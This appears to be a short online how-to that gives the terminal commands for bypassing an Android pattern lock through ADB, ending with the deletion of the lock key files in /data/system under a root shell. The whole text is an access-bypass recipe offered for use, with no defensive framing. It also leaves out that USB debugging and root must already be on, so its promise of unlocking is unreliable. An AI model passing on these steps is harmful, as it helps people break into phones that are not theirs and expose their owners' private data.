How to bypass android pattern lock !!

You'll need: 

Linux distro of your choice 
Android phone
Android USB Data cable
Android ADB

Execution:

1. Connect your phone to your PC using USB cable.

2. Install ADB via terminal

Boot into any Linux distro you have.
Open up terminal and type :

sudo apt-get install android-tools-adb

This will install ADB.

To disabling the pattern lock via terminal

adb devices
adb shell
cd data/system
su
rm *.key

Disconnect your phone and reboot. Unlock pattern should be here. Just try some random gesture and it will unlock.